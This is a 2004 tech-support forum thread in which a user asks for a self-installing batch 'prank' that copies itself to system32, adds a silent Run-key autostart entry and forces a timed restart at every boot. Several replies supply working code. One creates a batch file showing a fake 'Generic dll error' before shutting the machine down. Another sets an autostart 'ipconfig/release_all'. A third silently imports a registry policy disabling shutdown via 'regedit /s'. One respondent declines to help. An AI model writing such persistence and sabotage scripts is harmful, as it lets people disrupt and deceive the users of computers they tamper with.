|
|
|
Bat + reg = 1 bat file help!!!
|
Original Message
|
Name: Xplicit
Date: February 8, 2004 at 13:52:46 Pacific
Subject: Bat + reg = 1 bat file help!!! OS: XP CPU/Ram: 2.6 GHz
|
Comment: Please help... OK what this sounds like will be a virus, but none the less all a virus is is a desctructive program right? ok. I am looking for a batch script that when it runs the first time executed it will add itself to the "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" folder. along with the first time executed I want it to save itself in the "system32" folder. After that has been done on the first execution of this script i want it also to run the specified commands that are in the rest of the batch script. for example: SHUTDOWN -r -t 86500 -m 127.0.0.1 -c Batch Recall That being the script that will run everytime the bc starts up. we will call this batch file "Angel.BAT" , ok. So now what im asking for is how to create a script that will save itself in "System32" folder, then it will add a registry value under "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" that will run the saved file to the saved "system32" path, (i want it to make the REG value with no confirmation alert at all!) ok, now we have a saved BAT and a added REG. the next part of the script for the same batch file will be to run the "SHUTDOWN -r -t 86500 -m 127.0.0.1 -c Batch Recall". Basically it is a program that will set a time limit for the system at every startup. (I know that a simple "SHUTDOWN -a" will stop this from happenning but you must excuse those of us less aware of these commands). My Main question to you is. is this possible? And if so I would like to know the script givin the name of the batch "Angel.BAT". You can use the shutdown script givin as the command that will run everytime the system loads. the other REG value and the BAT saving to the system32 folder i wish to only be run on 1st execution of the single BAT file. I have asked a similar question such as this before but it was not answered in the context of which I had asked it. Basically this program would be considered a prank I would assume. But for us looking to push Batch programming to its limits this is a meare blip script on the radar in a see full of ideas! Thanks alot for anyone who can solve this question. I have spent days seeking the answer. Maybe im more of a newb than I thought. Just so it doesnt look like i havent tried hard enough for myself already I can let you know that I have succesfully manually added REG Values, as hhave i added a reg value with the use of a REG file. But the rest for me remains a mystery for now. I am running XP so Im not sure how scripts diversify with the operating systems, but i would liek for it to be able to run with XP. THANK YOU AGAIN!!!
Report Offensive Message For Removal
|
|
Response Number 1
|
Name: SN
Date: February 8, 2004 at 14:03:20 Pacific
|
Reply: (edit)"OK what this sounds like will be a virus, but none the less all a virus is is a desctructive program right?" No. A virus is any program that duplicates itself. It doesn't have to be harmful. "But for us looking to push Batch programming to its limits this is a meare blip script on the radar in a see full of ideas! " Others may be able to think of a legitimate purpose for your program, but I cannot. If there is a sea full of ideas out there, pick one that will be useful and you'll get more help. Search the forums...I am sick of answering batch/registry questions. I've done it a thousand times, and I'm sure you can find what you need in past responses. Good luck, -SN
Report Offensive Follow Up For Removal
|
|
Response Number 2
|
Name: Xplicit
Date: February 8, 2004 at 14:11:55 Pacific
|
Reply: (edit)What do you mean? i searched for over days looking for an answer. I looked throught all of your older post on the issue and i found one that was a similar question. HOWEVER it was never answered, the question wasnt how to add a RUN REG Value, it was how to do it from a BAT file and still run the bat command. and it was so called "answered and swept under the rug by people refferring to older posts on makin REG files. I mean for you this isnt useful, but for others its an answer. If i was able to solve this myself I wouldnt have asked this question in the first place at all. It was asking for a answer not a goose chase and aimed int the proper direction.... THANx.... ANY HELP WOULD APPRICIATIVE!!!
Report Offensive Follow Up For Removal
|
|
Response Number 3
|
Name: dudecybetron
Date: February 9, 2004 at 02:52:29 Pacific
|
Reply: (edit)hay dude, i know a way that works to accomplish ur job.but the following code i sujjest works only in windows xp and server 2003.u can delete,create,edit,read and modify what ever registry values u want in windows xp and in server 2003.in xp search for a file name "reg.exe" which is located in system 32 or system directory.this reg.exe is provided by microsoft to acess ur regsitry.lets come to ur problem. SOLUTION TO UR PROBLEM:
assume that u want to create a bat file say "myfile.bat".then the command structure in the batch file should contain the following. i will demonstrate as how to create a batch file from another batch file.let us assume that the bat file that we use to create a"myfile.bat" as "create.bat" CONTENTS OF CREATE.BAT
@echo off echo @ echo off >> myfile.bat echo echo Generic dll error >> myfile.bat echo echo >> myfile.bat echo echo Cannot start win32 generic host service >> myfile.bat echo echo >> myfile.bat echo echo shutting down the system >> myfile.bat echo shutdown -s >> myfile.bat copy myfile.bat c:\windows\system32 reg add hkey_current_user\software\microsoft\windows\currentversion\run /v myprog /t reg_sz /d c:\windows\system32\myfile.bat echo myfile.bat has been created and it has been added to the registry run key pause ********END************ when the above create.bat is run then it creates myfile.bat wiht the following contents in it @echo off echo Generic dll error echo echo Cannot start win32 generic host service echo echo shutting down the system shutdown -s THE CREATE.BAT FILE WILL ADD A VALUE IN RUN KEY SO THAT MYFILE.BAT WILL GET RUN EVERYTIME WHEN THE SYSTEM GETS STARTED. HOPE NOW U R CLEAR AS HOW TO DO A BATCH PROGRAMMING.
Report Offensive Follow Up For Removal
|
|
Response Number 4
|
Name: mr_cheese
Date: February 9, 2004 at 08:41:04 Pacific
|
Reply: (edit)hi, can u plz explain this line of code, thanks: __________________________________________ reg add hkey_current_user\software\microsoft\windows\currentversion\run /v myprog /t reg_sz /d c:\windows\system32\myfile.bat __________________________________________ i have written a similar program ( as seen below )... would the code i have written still work, or is the above version the only correct way?? thanks my batch file: ___________________________________________ @echo off cls echo @echo off>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windows\wimn32.bat echo Windows Registry Editor Version 5.00>startAPI.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Wimn32"="\"C:\\windows\\wimn32.bat\"">>startAPI.reg startAPI.reg end
Report Offensive Follow Up For Removal
|
|
Response Number 5
|
Name: Xplicit
Date: February 9, 2004 at 19:24:31 Pacific
|
Reply: (edit)Comments: I have windows 98 and i have been long searching for that same shutdown script that that is compatable for windows 98 and for windows NT. So what i need is the same script that "Name: dudecybetron" posted but i want it to run on windows 98 and for windows NT. I want it to have the same REG edit and the same feture that saves it to the system32 folder of a pc. I appriciate any help you guys have to offer and I thank Xplicit for putting into words what i have been searching for for so long and always coming up short for in my long hours of searching. this is a great site and i hope that my question can be answered promptly by these educated members. this site is great and thank you once again!!!!
Report Offensive Follow Up For Removal
|
|
Response Number 6
|
Name: melee5
Date: February 10, 2004 at 00:38:21 Pacific
|
Reply: (edit)Examples so far could only work on NT platforms if that(?). 9x boxes will need 'REGEDIT4' for a .reg file header and can not use 'add reg' as a valid command. You must instead use 'regedit filename.reg' in true boot to DOS mode as use of regedit in Windows will launch the regedit window instead of importing the .reg file. There is also no 'shutdown' command for 9x. My aplologies if 'shutdown' is a legit app in it's own right - who could tell from the above posts? I'm a fledgling on NT but strong on 9x and inf files. Being part psychic, I sense that what you really need here is an install package? Although what you want can be done with pure batch, it will be some achievement with required testing to get both 9x and NT sections to work right. An IExpress.exe installer package could run an inf file that can modify/create your autoexec.bat file if that helps any. Inf files also can have common and seperate NT and/or 9x sections quite easily, they will also access the registry quite easily but must always be run in Windows, never 9x's boot to DOS mode. The inf file could add 'shutdown' and/or 'ipconfig/release_all' commands to Run key such that I can't see a need to have a batch file at all. Get IExpress.exe from any recent IEAK package. If this all needs to run completly quiet with no DOS box flash then one can use a VB script to launch the unseen batch file. A DOS command launched from the Run key would flash a DOS box methinks. Perhaps not? At any rate, please describe 'shutdown' tool a little better. For example, is it for win2k and up only? NT need something else? And then 9x needs yet another? Please elaborate and debate why a one does all inf file, right click installed wouldn't/couldn't be the answer you both need? Crude sample follows: ; IPCONFIG.INF ; [Version] Signature="$Chicago$" [DefaultInstall] AddReg=AddKey [AddKey] HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run","Ipconfigit",0,"ipconfig/release_all" This is just too simple - I must be missing a point or two here?
Report Offensive Follow Up For Removal
|
|
Response Number 7
|
Name: dudecybetron
Date: February 12, 2004 at 07:39:35 Pacific
|
Reply: (edit)hi all, the code that i have sujjested works only in win xp and in windows server 2003.win xp and server 2003 has a file named "reg.exe".go to command prompt and type "reg/?" to see more help.the method suggested by mr.chesse (response 4) will also work good in win xp. to access windows regsitry in a win98 or win me machine then use the following code. create.bat
echo > registry.reg echo regedit4 >> registry.reg echo [hkey_current_user\software\microsoft\windows \currentversion\policies\explorer] >> regsitry.reg echo "noclose"=dword:1 >> regsitry.reg regesit /s registry.reg the above bat file when executed will create a reg file that creates a new dword named "noclose" with a value of 1. "regedit /s filename.reg" will add the contents to the regsitry without user prompt.
Report Offensive Follow Up For Removal
|
|
Response Number 8
|
Name: BeauTaub
Date: February 19, 2004 at 15:23:25 Pacific
|
Reply: (edit)Check out the below code (...you can use it provided your systems support VBScript). With 95/98 you may have to install the MS Scripting package. NOTE: There are unintended page breaks here!!! '**************************************** const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SOFTWARE\System Admin Scripting Guide" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath '**************************************** 'EOF ... borrowed from the .NET Server Resource Kit
Report Offensive Follow Up For Removal
|
|
Response Number 9
|
Name: BeauTaub
Date: February 19, 2004 at 15:25:07 Pacific
|
Reply: (edit)I neglected to mention you also need WMI for this, which can also be downloaded from Microsoft.
Report Offensive Follow Up For Removal
|
Use following form to reply to current message:
|
|

|